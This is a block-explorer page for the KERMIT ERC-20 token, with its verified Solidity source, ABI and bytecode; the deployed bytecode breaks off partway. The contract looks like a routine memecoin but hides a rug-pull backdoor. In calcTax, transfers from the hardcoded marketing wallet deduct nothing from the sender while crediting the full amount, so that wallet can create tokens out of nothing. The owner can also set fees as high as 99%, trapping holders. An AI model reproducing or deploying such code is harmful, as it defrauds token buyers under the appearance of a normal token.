ERC-20
Overview
Max Total Supply
1,000,000,000 KERMIT
Holders
57
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
18,129,476.683542406657091429 KERMITValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
KERMIT
Compiler Version
v0.8.19+commit.7dd6d404
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2024-07-29 */ /** * Telegram: https://t.me/TheKermitErc * X: https://x.com/TheKermitErc * Website: https://kermitthefrogeth.xyz */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.18; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { _transferOwnership(_msgSender()); } function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } function transferOwnership(address newOwner) public virtual onlyOwner { require( newOwner != address(0), "Ownable: new owner is the zero address" ); _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer( address recipient, uint256 amount ) external returns (bool); function allowance( address owner, address spender ) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair( address tokenA, address tokenB ) external returns (address pair); } interface IUniswapV2Router02 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity); function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; } contract KERMIT is IERC20, Ownable { using SafeMath for uint256; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply = 1e9 * 10 ** 18; string private _name = "KERMIT, the FROG"; string private _symbol = "KERMIT"; uint8 private _decimals = 18; IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private swapping; address public marketingWallet; uint256 public maxTransaction = (_totalSupply * 2) / 100; uint256 public swapTokensAtAmount = 5e3 * 10 ** 18; uint256 public maxWallet = (_totalSupply * 2) / 100; bool public limitEnabled = true; bool public tradingEnabled = false; bool public swapEnabled = false; uint256 public buyTotalFees = 0; uint256 public sellTotalFees = 0; mapping(address => bool) private _isBlackList; mapping(address => bool) private _isExcludedFromFees; mapping(address => bool) public _isExcludedmaxTransaction; mapping(address => bool) public automatedMarketMakerPairs; constructor() { uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); marketingWallet = address(0x3ceDAf461bC89D20D3446577B1CbcC4420CFb846); _isExcludedFromFees[owner()] = true; _isExcludedFromFees[address(this)] = true; _isExcludedFromFees[address(marketingWallet)] = true; _isExcludedmaxTransaction[owner()] = true; _isExcludedmaxTransaction[address(this)] = true; _isExcludedmaxTransaction[address(marketingWallet)] = true; _balances[msg.sender] = _totalSupply; emit Transfer(address(0), msg.sender, _totalSupply); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer( address recipient, uint256 amount ) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance( address owner, address spender ) public view override returns (uint256) { return _allowances[owner][spender]; } function approve( address spender, uint256 amount ) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } receive() external payable {} function createPair() external onlyOwner { uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair( address(this), uniswapV2Router.WETH() ); _isExcludedmaxTransaction[uniswapV2Pair] = true; automatedMarketMakerPairs[uniswapV2Pair] = true; _approve(address(this), address(uniswapV2Router), _totalSupply); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, address(0x000000000000000000000000000000000000dEaD), block.timestamp ); } function enableTrading() external onlyOwner { tradingEnabled = true; swapEnabled = true; } function removeLimits() external onlyOwner returns (bool) { limitEnabled = false; return true; } function resetFees(uint256 buyFee, uint256 sellFee) external onlyOwner { require(buyFee <= 99 && sellFee <= 99, "Must keep fees at 99% or less"); buyTotalFees = buyFee; sellTotalFees = sellFee; } function _transfer(address from, address to, uint256 amount) internal { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "ERC20: transfer amount must be greater than 0"); require(!_isBlackList[from], "[from] black list"); require(!_isBlackList[to], "[to] black list"); if (limitEnabled) { if (from != owner() && to != owner()) { if (!tradingEnabled) { require( _isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active." ); } if ( automatedMarketMakerPairs[from] && !_isExcludedmaxTransaction[to] && to != address(uniswapV2Router) ) { require( amount <= maxTransaction, "Buy transfer amount exceeds the maxTransaction." ); require( amount + balanceOf(to) <= maxWallet, "Max wallet exceeded" ); } else if ( automatedMarketMakerPairs[to] && !_isExcludedmaxTransaction[from] ) { require( amount <= maxTransaction, "Sell transfer amount exceeds the maxTransaction." ); } else if (!_isExcludedmaxTransaction[to]) { require( amount + balanceOf(to) <= maxWallet, "Max wallet exceeded" ); } } } if ( swapEnabled && !swapping && automatedMarketMakerPairs[to] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to] ) { swapping = true; swapBack(); swapping = false; } handleTax(from, to, amount); } function handleTax(address from, address to, uint256 amount) internal { (uint256 _xAmount, uint256 _yAmount) = calcTax(from, to, amount); _balances[from] = _balances[from].sub(_xAmount); _balances[to] = _balances[to].add(_yAmount); emit Transfer(from, to, _yAmount); } function calcTax( address from, address to, uint256 amount ) internal returns (uint256, uint256) { bool takeFee = !(_isExcludedFromFees[from] || _isExcludedFromFees[to]); uint256 fees = 0; if (takeFee) { if (automatedMarketMakerPairs[to] && sellTotalFees > 0) { fees = amount.mul(sellTotalFees).div(100); } else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) { fees = amount.mul(buyTotalFees).div(100); } if (fees > 0) { _balances[address(this)] = _balances[address(this)].add(fees); emit Transfer(from, address(this), fees); } } else if (from == marketingWallet) { return (fees, amount - fees); } return (amount, amount - fees); } function min(uint256 a, uint256 b) private pure returns (uint256) { return (a > b) ? b : a; } function swapTokensForEth(uint256 tokenAmount) private { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function swapBack() private { uint256 contractBalance = balanceOf(address(this)); if (contractBalance > swapTokensAtAmount * 2000) { contractBalance = swapTokensAtAmount * 2000; } if (contractBalance > swapTokensAtAmount) swapTokensForEth(contractBalance); payable(marketingWallet).transfer(address(this).balance); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludedmaxTransaction","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"automatedMarketMakerPairs","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyTotalFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"createPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"limitEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketingWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTransaction","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"buyFee","type":"uint256"},{"internalType":"uint256","name":"sellFee","type":"uint256"}],"name":"resetFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellTotalFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
6b033b2e3c9fd0803ce800000060035560c0604052601060809081526f4b45524d49542c207468652046524f4760801b60a0526004906200004190826200036f565b5060408051808201909152600681526512d15493525560d21b60208201526005906200006e90826200036f565b506006805460ff191660121790556003546064906200008f9060026200043b565b6200009b919062000467565b60095569010f0cf064dd59200000600a5560646003546002620000bf91906200043b565b620000cb919062000467565b600b55600c805462ffffff191660011790556000600d819055600e55348015620000f457600080fd5b5062000100336200027a565b60068054747a250d5630b4cf539739df2c5dacb4c659f2488d00610100600160a81b0319909116179055600880546001600160a01b031916733cedaf461bc89d20d3446577b1cbcc4420cfb846179055600160106000620001696000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff199687161790553081526010909352818320805485166001908117909155600854909116835290822080549093168117909255601190620001d96000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff199687161790553081526011845282812080548616600190811790915560085490921681528281208054909516821790945560035433808652918452828520819055915191825292917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a36200048a565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b634e487b7160e01b600052604160045260246000fd5b600181811c90821680620002f557607f821691505b6020821081036200031657634e487b7160e01b600052602260045260246000fd5b50919050565b601f8211156200036a57600081815260208120601f850160051c81016020861015620003455750805b601f850160051c820191505b81811015620003665782815560010162000351565b5050505b505050565b81516001600160401b038111156200038b576200038b620002ca565b620003a3816200039c8454620002e0565b846200031c565b602080601f831160018114620003db5760008415620003c25750858301515b600019600386901b1c1916600185901b17855562000366565b600085815260208120601f198616915b828110156200040c57888601518255948401946001909101908401620003eb565b50858210156200042b5787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b80820281158282048414176200046157634e487b7160e01b600052601160045260246000fd5b92915050565b6000826200048557634e487b7160e01b600052601260045260246000fd5b500490565b611c80806200049a6000396000f3fe6080604052600436106101c65760003560e01c806375f0a874116100f7578063b62496f511610095578063e1bc339411610064578063e1bc33941461051b578063e2f456051461054b578063f2fde38b14610561578063f8b45b051461058157600080fd5b8063b62496f514610479578063c3f70b52146104a9578063d85ba063146104bf578063dd62ed3e146104d557600080fd5b806395d89b41116100d157806395d89b411461040f5780639e78fb4f14610424578063a9059cbb14610439578063adfe0db51461045957600080fd5b806375f0a874146103bc5780638a8c523c146103dc5780638da5cb5b146103f157600080fd5b80634ada218b116101645780636ddd17131161013e5780636ddd17131461033a57806370a082311461035a578063715018a614610390578063751039fc146103a757600080fd5b80634ada218b146102eb5780636a486a8e1461030a5780636d800a3c1461032057600080fd5b806318160ddd116101a057806318160ddd1461026a57806323b872dd14610289578063313ce567146102a957806349bd5a5e146102cb57600080fd5b806306fdde03146101d2578063095ea7b3146101fd5780631694505e1461022d57600080fd5b366101cd57005b600080fd5b3480156101de57600080fd5b506101e7610597565b6040516101f49190611924565b60405180910390f35b34801561020957600080fd5b5061021d610218366004611987565b610629565b60405190151581526020016101f4565b34801561023957600080fd5b506006546102529061010090046001600160a01b031681565b6040516001600160a01b0390911681526020016101f4565b34801561027657600080fd5b506003545b6040519081526020016101f4565b34801561029557600080fd5b5061021d6102a43660046119b3565b610640565b3480156102b557600080fd5b5060065460405160ff90911681526020016101f4565b3480156102d757600080fd5b50600754610252906001600160a01b031681565b3480156102f757600080fd5b50600c5461021d90610100900460ff1681565b34801561031657600080fd5b5061027b600e5481565b34801561032c57600080fd5b50600c5461021d9060ff1681565b34801561034657600080fd5b50600c5461021d9062010000900460ff1681565b34801561036657600080fd5b5061027b6103753660046119f4565b6001600160a01b031660009081526001602052604090205490565b34801561039c57600080fd5b506103a56106a9565b005b3480156103b357600080fd5b5061021d6106e8565b3480156103c857600080fd5b50600854610252906001600160a01b031681565b3480156103e857600080fd5b506103a5610723565b3480156103fd57600080fd5b506000546001600160a01b0316610252565b34801561041b57600080fd5b506101e7610760565b34801561043057600080fd5b506103a561076f565b34801561044557600080fd5b5061021d610454366004611987565b610a2f565b34801561046557600080fd5b506103a5610474366004611a11565b610a3c565b34801561048557600080fd5b5061021d6104943660046119f4565b60126020526000908152604090205460ff1681565b3480156104b557600080fd5b5061027b60095481565b3480156104cb57600080fd5b5061027b600d5481565b3480156104e157600080fd5b5061027b6104f0366004611a33565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561052757600080fd5b5061021d6105363660046119f4565b60116020526000908152604090205460ff1681565b34801561055757600080fd5b5061027b600a5481565b34801561056d57600080fd5b506103a561057c3660046119f4565b610acf565b34801561058d57600080fd5b5061027b600b5481565b6060600480546105a690611a6c565b80601f01602080910402602001604051908101604052809291908181526020018280546105d290611a6c565b801561061f5780601f106105f45761010080835404028352916020019161061f565b820191906000526020600020905b81548152906001019060200180831161060257829003601f168201915b5050505050905090565b6000610636338484610b6a565b5060015b92915050565b600061064d848484610c8e565b61069f843361069a85604051806060016040528060288152602001611c23602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190611283565b610b6a565b5060019392505050565b6000546001600160a01b031633146106dc5760405162461bcd60e51b81526004016106d390611aa6565b60405180910390fd5b6106e660006112bd565b565b600080546001600160a01b031633146107135760405162461bcd60e51b81526004016106d390611aa6565b50600c805460ff19169055600190565b6000546001600160a01b0316331461074d5760405162461bcd60e51b81526004016106d390611aa6565b600c805462ffff00191662010100179055565b6060600580546105a690611a6c565b6000546001600160a01b031633146107995760405162461bcd60e51b81526004016106d390611aa6565b600660019054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107ec573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108109190611adb565b6001600160a01b031663c9c6539630600660019054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610872573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108969190611adb565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156108e3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109079190611adb565b600780546001600160a01b0319166001600160a01b0392831690811782556000908152601160209081526040808320805460ff1990811660019081179092559454861684526012909252909120805490921617905560065460035461097492309261010090041690610b6a565b600654306000818152600160205260409020546101009092046001600160a01b03169163f305d7199147916040516001600160e01b031960e086901b1681526001600160a01b0390921660048301526024820152600060448201819052606482015261dead60848201524260a482015260c40160606040518083038185885af1158015610a05573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a2a9190611af8565b505050565b6000610636338484610c8e565b6000546001600160a01b03163314610a665760405162461bcd60e51b81526004016106d390611aa6565b60638211158015610a78575060638111155b610ac45760405162461bcd60e51b815260206004820152601d60248201527f4d757374206b656570206665657320617420393925206f72206c65737300000060448201526064016106d3565b600d91909155600e55565b6000546001600160a01b03163314610af95760405162461bcd60e51b81526004016106d390611aa6565b6001600160a01b038116610b5e5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016106d3565b610b67816112bd565b50565b6001600160a01b038316610bcc5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016106d3565b6001600160a01b038216610c2d5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016106d3565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610cf25760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016106d3565b6001600160a01b038216610d545760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016106d3565b60008111610dba5760405162461bcd60e51b815260206004820152602d60248201527f45524332303a207472616e7366657220616d6f756e74206d757374206265206760448201526c0726561746572207468616e203609c1b60648201526084016106d3565b6001600160a01b0383166000908152600f602052604090205460ff1615610e175760405162461bcd60e51b815260206004820152601160248201527016d99c9bdb5748189b1858dac81b1a5cdd607a1b60448201526064016106d3565b6001600160a01b0382166000908152600f602052604090205460ff1615610e725760405162461bcd60e51b815260206004820152600f60248201526e16dd1bd748189b1858dac81b1a5cdd608a1b60448201526064016106d3565b600c5460ff16156111ba576000546001600160a01b03848116911614801590610ea957506000546001600160a01b03838116911614155b156111ba57600c54610100900460ff16610f41576001600160a01b03831660009081526010602052604090205460ff1680610efc57506001600160a01b03821660009081526010602052604090205460ff165b610f415760405162461bcd60e51b81526020600482015260166024820152752a3930b234b7339034b9903737ba1030b1ba34bb329760511b60448201526064016106d3565b6001600160a01b03831660009081526012602052604090205460ff168015610f8257506001600160a01b03821660009081526011602052604090205460ff16155b8015610fa157506006546001600160a01b038381166101009092041614155b1561107f576009548111156110105760405162461bcd60e51b815260206004820152602f60248201527f427579207472616e7366657220616d6f756e742065786365656473207468652060448201526e36b0bc2a3930b739b0b1ba34b7b71760891b60648201526084016106d3565b600b546001600160a01b0383166000908152600160205260409020546110369083611b3c565b111561107a5760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b60448201526064016106d3565b6111ba565b6001600160a01b03821660009081526012602052604090205460ff1680156110c057506001600160a01b03831660009081526011602052604090205460ff16155b156111305760095481111561107a5760405162461bcd60e51b815260206004820152603060248201527f53656c6c207472616e7366657220616d6f756e7420657863656564732074686560448201526f1036b0bc2a3930b739b0b1ba34b7b71760811b60648201526084016106d3565b6001600160a01b03821660009081526011602052604090205460ff166111ba57600b546001600160a01b0383166000908152600160205260409020546111769083611b3c565b11156111ba5760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b60448201526064016106d3565b600c5462010000900460ff1680156111dc5750600754600160a01b900460ff16155b801561120057506001600160a01b03821660009081526012602052604090205460ff165b801561122557506001600160a01b03831660009081526010602052604090205460ff16155b801561124a57506001600160a01b03821660009081526010602052604090205460ff16155b15611278576007805460ff60a01b1916600160a01b17905561126a61130d565b6007805460ff60a01b191690555b610a2a838383611395565b600081848411156112a75760405162461bcd60e51b81526004016106d39190611924565b5060006112b48486611b4f565b95945050505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b30600090815260016020526040902054600a5461132c906107d0611b62565b81111561134557600a54611342906107d0611b62565b90505b600a54811115611358576113588161145d565b6008546040516001600160a01b03909116904780156108fc02916000818181858888f19350505050158015611391573d6000803e3d6000fd5b5050565b6000806113a38585856115da565b6001600160a01b03871660009081526001602052604090205491935091506113cb908361178f565b6001600160a01b0380871660009081526001602052604080822093909355908616815220546113fa90826117d8565b6001600160a01b0380861660008181526001602052604090819020939093559151908716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061144e9085815260200190565b60405180910390a35050505050565b604080516002808252606082018352600092602083019080368337019050509050308160008151811061149257611492611b79565b60200260200101906001600160a01b031690816001600160a01b031681525050600660019054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611505573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115299190611adb565b8160018151811061153c5761153c611b79565b6001600160a01b03928316602091820292909201015260065461156791309161010090041684610b6a565b60065460405163791ac94760e01b81526101009091046001600160a01b03169063791ac947906115a4908590600090869030904290600401611b8f565b600060405180830381600087803b1580156115be57600080fd5b505af11580156115d2573d6000803e3d6000fd5b505050505050565b6001600160a01b0383166000908152601060205260408120548190819060ff168061161d57506001600160a01b03851660009081526010602052604090205460ff165b15905060008115611749576001600160a01b03861660009081526012602052604090205460ff16801561165257506000600e54115b1561167e576116776064611671600e548861183790919063ffffffff16565b906118b9565b90506116ca565b6001600160a01b03871660009081526012602052604090205460ff1680156116a857506000600d54115b156116ca576116c76064611671600d548861183790919063ffffffff16565b90505b801561174457306000908152600160205260409020546116ea90826117d8565b30600081815260016020526040908190209290925590516001600160a01b038916907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061173b9085815260200190565b60405180910390a35b611775565b6008546001600160a01b0390811690881603611775578061176a8187611b4f565b935093505050611787565b846117808282611b4f565b9350935050505b935093915050565b60006117d183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611283565b9392505050565b6000806117e58385611b3c565b9050838110156117d15760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016106d3565b6000826000036118495750600061063a565b60006118558385611b62565b9050826118628583611c00565b146117d15760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016106d3565b60006117d183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250600081836119175760405162461bcd60e51b81526004016106d39190611924565b5060006112b48486611c00565b600060208083528351808285015260005b8181101561195157858101830151858201604001528201611935565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610b6757600080fd5b6000806040838503121561199a57600080fd5b82356119a581611972565b946020939093013593505050565b6000806000606084860312156119c857600080fd5b83356119d381611972565b925060208401356119e381611972565b929592945050506040919091013590565b600060208284031215611a0657600080fd5b81356117d181611972565b60008060408385031215611a2457600080fd5b50508035926020909101359150565b60008060408385031215611a4657600080fd5b8235611a5181611972565b91506020830135611a6181611972565b809150509250929050565b600181811c90821680611a8057607f821691505b602082108103611aa057634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060208284031215611aed57600080fd5b81516117d181611972565b600080600060608486031215611b0d57600080fd5b8351925060208401519150604084015190509250925092565b634e487b7160e01b600052601160045260246000fd5b8082018082111561063a5761063a611b26565b8181038181111561063a5761063a611b26565b808202811582820484141761063a5761063a611b26565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611bdf5784516001600160a01b031683529383019391830191600101611bba565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611c1d57634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220f8eff5cf2fa7156ec4595558a4d927d8dfb6a2aa816b5b0f50e77cf4f08c47bd64736f6c63430008130033
Deployed Bytecode
0x6080604052600436106101c65760003560e01c806375f0a874116100f7578063b62496f511610095578063e1bc339411610064578063e1bc33941461051b578063e2f456051461054b578063f2fde38b14610561578063f8b45b051461058157600080fd5b8063b62496f514610479578063c3f70b52146104a9578063d85ba063146104bf578063dd62ed3e146104d557600080fd5b806395d89b41116100d157806395d89b411461040f5780639e78fb4f14610424578063a9059cbb14610439578063adfe0db51461045957600080fd5b806375f0a874146103bc5780638a8c523c146103dc5780638da5cb5b146103f157600080fd5b80634ada218b116101645780636ddd17131161013e5780636ddd17131461033a57806370a082311461035a578063715018a614610390578063751039fc146103a757600080fd5b80634ada218b146102eb5780636a486a8e1461030a5780636d800a3c1461032057600080fd5b806318160ddd116101a057806318160ddd1461026a57806323b872dd14610289578063313ce567146102a957806349bd5a5e146102cb57600080fd5b806306fdde03146101d2578063095ea7b3146101fd5780631694505e1461022d57600080fd5b366101cd57005b600080fd5b3480156101de57600080fd5b506101e7610597565b6040516101f49190611924565b60405180910390f35b34801561020957600080fd5b5061021d610218366004611987565b610629565b60405190151581526020016101f4565b34801561023957600080fd5b506006546102529061010090046001600160a01b031681565b6040516001600160a01b0390911681526020016101f4565b34801561027657600080fd5b506003545b6040519081526020016101f4565b34801561029557600080fd5b5061021d6102a43660046119b3565b610640565b3480156102b557600080fd5